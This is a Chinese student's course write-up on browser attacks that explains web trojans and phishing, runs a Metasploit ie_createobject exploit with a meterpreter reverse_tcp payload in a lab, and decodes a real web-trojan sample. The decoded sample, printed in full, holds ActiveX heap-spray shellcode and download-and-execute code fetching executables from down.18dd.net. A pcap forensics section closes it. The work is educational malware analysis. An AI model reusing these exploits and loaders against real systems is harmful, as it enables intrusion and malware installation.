20199309 2019-2020-2 《网络攻防实践》第十二周作业

这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense
-|-|-
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10695
我在这个课程的目标是 |
这个作业在哪个具体方面帮助我实现目标 | 熟悉了解Web浏览器的技术发展与安全威胁
作业正文 | 1.实践内容、2.实践过程、3.学习中遇到的问题及解决、4.实践总结
其他参考文献 | 见正文最后部分

1.实践内容

1.1 Web浏览的安全问题与威胁

1.2 Web浏览端的渗透攻击威胁————网页木马

网页木马的定义:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScript实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

网页木马的攻击流程:

网页木马的特性:
(1)网页木马的本质核心————浏览器渗透攻击
以MS06-014安全漏洞的渗透攻击代码为例,来说明网页木马的具体实现机制:Windows操作系统默认安装的MDAC数据库访问组件RDS.DataSpace中CreateObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程代码执行漏洞。该安全漏洞利用VBScript代码,通过RDS.DataSpace对象来创建XMLHTTP对象来下载远程的恶意程序,并利用DataSpace漏洞,由Adodb.Stream对象绕过应有的安全控制将下载文件流写入到文件系统中的指定位置,并同样利用RDS.DataSpace漏洞由创建的 Shell.Application对象绕过安全机制直接激活已保存在文件系统中的恶意代码。
(2)网络访问流量重定向机制机制:
  1)内嵌HTML标签
   - 最为简单和常见的流量重定向机制:iframe嵌入外部页面链接
   - <iframe src="URL to Trojan" width="0" height="0" frameborder="0"> </iframe>
   - frame,body onload事件,css标签等
2)恶意Script脚本
   - 很常见:利用script标签通过跨站脚本包含网页木马
   - <script language=Javascript>document.write("<iframe width=1 height=1 src=URL to Trojan></iframe>") </script>
   - window.open("URL to Trojan")
  3)内嵌对象链接
   - 调用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象
   - Adobe Pdf / Flash
(3)混淆机制
混淆机制的作用:对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网页木马攻击网络更难被检测和摧毁。
混淆方法主要有: 1)将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析; 2)通过大小写变换、十六进制编码、escape编码、ode编码等方法对网页木马进行编码混淆; 3)通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document. write(或eval()进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具; 4)利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行; 5)修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

网页木马的检测技术:基于特征码匹配的传统检测方法、基于统计与机器学习的静态分析方法、基于动态行为结果判定的检测方法、基于模拟浏览器环境的动态分析检测方法

网页木马的分析技术:主要分为静态分析与动态分析,但这两种分析技术都存在缺陷。近年提出的基于模拟浏览器环境的动态分析检测方法,在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得了良好的效果,并能够进一步结合脚本源码的静态结构分析以及安全漏洞特征检测方法,来达到更好的检测效果。

网页木马防范措施:提升操作系统与浏览器平台软件的安全性;安装与实时更新一款优秀的反病毒软件;养成安全上网浏览的良好习惯,并借助于Google安全浏览等站点安全评估工具的帮助,避免访问那些可能遭遇挂马或者安全性不高的网站;使用Chrome、Safari等冷门浏览器进行上网。

1.3 揭开网络钓鱼的黑幕

网络钓鱼(Phishing)是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等。

网络钓鱼攻击的普遍技术流程:
(1)攻击者扫描网段,寻找存有漏洞的服务器;
(2)服务器被攻陷,并被安装-一个Rootkit 或口令保护的后门工具;
(3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
(4)攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
(5)网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。

网络钓鱼攻击的具体技术与策略:
(1)首先钓鱼攻击者需要架设支撑钓鱼攻击的底层基础设施:大规模扫描有漏洞的主机并攻陷主机;架构钓鱼网站,包括假冒各种假冒各种知名金融机构和在线电子商务的前台假冒钓鱼网站等。
(2)欺骗大量互联网用户访问钓鱼网站,具体欺骗技术有:
  1)使用IP 地址代替域名
  2)注册发音相近或形似的DNS域名:Unicode字符
  3)多数真实的链接中混杂关键的指向假冒钓鱼网站的链接
  4)对假冒网站的URL进行编码和混淆
  5)攻击用户网页浏览器存在的漏洞,隐藏消息内容的实质
  6)假冒钓鱼网站的透明性
  8)恶意软件安装浏览器助手工具
  9)修改本地DNS域名和IP地址映射hostd文件

网站钓鱼防范措施
(1)了解网站钓鱼安全威胁与技巧。
(2)增强安全意识,提高警惕:对邮件中包含的链接,仔细核对;登录网银、基金等关键网站,直接访问或通过搜索引擎等。
(3)安装安全软件:补丁、反病毒软件。

2.实践过程

实践一:Web浏览器渗透攻击实验

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
本次实践以VMware中的kali为攻击机,Windows2kServer为靶机。注意两台虚拟机需要处于同一个网段,两者的IP地址如表所示:

虚拟机 IP地址
kali 192.168.200.2
Windows2kServer 192.168.200.124
选择靶机为Win2KServer,IP地址为192.168.200.124,攻击机为Kali,IP地址为192.168.200.2
首先在kali中msfconsole打开metasploit,然后就是选择漏洞use exploit/windows/browser/ie_createobject设置靶机和攻击机地址set rhost 192.168.200.124、set lhost 192.168.200.2
设置payload为set payload windows/meterpreter/reverse_tcp,并执行run,建立连接。
下面我们通过靶机的浏览器访问http://192.168.200.2:8080/oTZuHhSp,浏览器返回一串字符,攻击成功。

实践二:剖析一个实际的网页木马攻击场景

问题:

试述你是如何一步步地从所给的网页中获取最后的真实代码的?
网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?

new09.htm文件中,用iframe引用了一个http://aa.18dd.net/aa/kl.htm文件,又用javascript引用了一个http://js.users.51.la/1299644.js,然后分别计算它们的MD5值
分别得到MD5值为:7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3。在老师给的资料hashed文件夹中找到这两个文件
一个11KB,一个1KB,先打开第二个文件,发现内容是:

这显然不是我们想要的内容,于是打开第一个文件:

由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')) ;可以得知这个文件使用了一种被称为XXTEA+Base64的加密方法,对付这种加密方法,我们只要找到它的加密密钥即可。

xxtea_decrypt函数的第二个参数就是密钥,只不过这里只是简单地使用了16进制加密。转换一下有:
密钥是“script”
这里用xxtea在线解密网站来解密,在密钥一栏中填入“script”,在下面大的文本框中粘贴那个文件的全部内容,点“解密”,文本框的内容变为:

对引号内的内容解密得:

function init (){document. write();}
window.onload = init;
if(document.cookie.index0f('0K' )==-1) {
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb. Stream", "")}
catch(e) {};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http: \/\/aa.18dd.netV/aa\/1.js><\/script>")}
else{
try(var f;var storm=new ActiveX0bject("MPS.StormPlayer");}
catch(f) {};
finally(if(f!="[object Error]") {
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try(var g;var pps=new ActiveX0bject("POWERPLAYER. PowerPlayerCtrl.1");}
catch(g){};
finally(if(g!="[object Error]") {
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveX0bject("BaiduBar.Tool");}
catch(h) {};
finally{if (h!="[object Error]") {
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

再按照说明的提示,对“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、
http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab”分别计算MD5值,得到如下结果:

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

根据得到的MD5值,先看1.js:
eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")
又是一个十六进制加密,解开得:

var url="http://down.18dd.net/bb/014.exe";try{var
xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\n
tuser.com";as.savetofile(path,2);as.close
();var
shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c
"+path,"","open",0)}catch(e){}

这次来看 b.js:
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))
还原后的代码如下:

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

我们取第三个2f到末尾的内容,即2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000,进行解密:

得到解密结果为:😕/down.18dd.net/bb/bf.exe,将其补充完整:http://down.18dd.net/bb/bf.exe
可以看到是八进制加密,同样解开:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

最后一cab压缩文件,将其解压缩,可以得到bd.exe执行文件,计算将前三个可执行文件的 URL 的 MD5 值,我们有了四个 exe 文件,即 014.exe,bf.exe,pps.exe,bd.exe,只需分析其中一个即可。
拿出 PEiD,看这个可执行文件的加壳情况:

使用反汇编工具 W32DAsm 反汇编这个程序,然后看一下“串式参考”:

" goto try"
"#32770"
"(T@"
",T@"
".1"
":\AutoRun.inf"
":try"
"[AutoRun]
open="
"\program files\internet explorer\IEXPLORE.EXE"
"0813"
"3烂怱VQ嬝媠咑u3离&j"
"60000"
"advapi32.dll"
"Alletdel.bat"
"AutoRun.inf"
"Button"
"ChangeServiceConfig2A"
"ChangeServiceConfig2W"
"cmd /c date "
"cmd /c date 1981-01-12"
"del ""
"del %0"
"drivers/klif.sys"
"Error"
"FPUMaskValue"
"http://down.18dd.net/kl/0.exe"
"http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe"
"http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe"
"http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe"
"http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe"
"http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe"
"http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe"
"http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe"
"http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe"
"http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe"
"http://down.18dd.net/kl/9.exe"
"IE 执行保护"
"IEXPLORE.EXE"
"IE执行保护"
"if exist ""
"Kernel32.dll"
"NoDriveTypeAutoRun"
"ntdll.dll"
"QueryServiceConfig2A"
"QueryServiceConfig2W"
"S@"
"serdst.exe"
"shell\Auto\command="
"shellexecute="
"SOFTWARE\Borland\Delphi\RTL"
"Software\Microsoft\Windows\CurrentVersion\Poli"
"Telephotsgoogle"
"U嬱兡餝VW3繳h訹@"
"U嬱筧"
"U嬱伳SVW?"
"ZwUnmapViewOfSection"
"刌@"
"銼@"
"婦$鰼"
"媩$(?"
"燬@"
"擮@"
"确定"
"媆$?搡?婼婥t?燖"
"瑞星卡卡上网安全助手 - IE防漏墙"
"为即插即用设备提供支持"
"圷@"
"允许"
"允许执行"

实践四 Web浏览器遭遇攻击、取证分析

任务:通过分析给的网络记录文件,回答下列问题:

列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
列出IP地址、主机名、域名,猜测攻击场景的环境配置。
列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
请给出攻击者执行攻击动作的概要描述。
攻击者引入了哪些技巧带来了困难。
攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
shellcode执行了哪些操作?比较他们之间MD5的差异?
在攻击场景中有二进制可执行代码参与吗?目的是什么?

这个实践用到了linux的chaosreader工具。安装方法就是sudo apt install chaosreader。
首先用chaosreader -r suspicious-time.pcap打开suspicious-time.pcap文件。

使用cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4,$5,$6}' | sort | uniq -c | sort -nr这条指令,根据数字可以看到是针对http协议进行攻击的:

使用命令
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
搜索下有哪些IP地址和域名在进行攻击

使用命令
tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u筛选出 NBNS 协议,我们知道 NBNS 协议的作用是基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法,也就是提供主机名称。从图中可以看到四个ip地址的主机分别映射的主机名是相同的
使用命令tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u可以看到这四个 ip 地址的主机在同一个工作组

通过上述分析,可以推断这四台主机相同的(或者克隆的),但具有四个网卡,那么攻击场景的环境应该是在 VM 环境中。
具体如下:
服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2(DHCP 服务和网关),192.168.1.1(DNS 服务)。
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15。
模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51(“shop.honeynet.sg”)。
攻击者:192.168.56.52( “sploitme.com.cn”)。
打开session_0006.part_01.html发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php。

攻击者将恶意 javascript 代码注入指向sploitme.com.cn/?click=X的隐藏iframe。当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面(数据包63、174、366)。然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件,恶意软件访问www.honeynet.org。
对js脚本使用了工具进行混淆,所用工具有:
rapidshare.eyu32.ru上的脚本:http://dean.edwards.name/packer/ + http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html
honeynet.sg上的脚本:http://www.colddata.com/developers/online_tools/obfuscator.shtml#obfuscator_view
伪装成404页面,触发了漏洞利用后,会转到无害页面,不进行二次攻击内容,用gzip压缩,不会以明文显示。
Shellcode获取系统临时文件路径,加载urlmon.dll,从 URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode 之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。

三.学习中遇到的问题及解决

问题1:原理不是很懂,实践过程比较繁琐
问题1解决方案:多花时间磨

四.实践总结

实践越来越难,就发现知道原理是最重要的,也是最有用的。

参考资料

posted @ 2020-05-20 20:14  张方佼  阅读(429)  评论(0编辑  收藏  举报
Language: HTML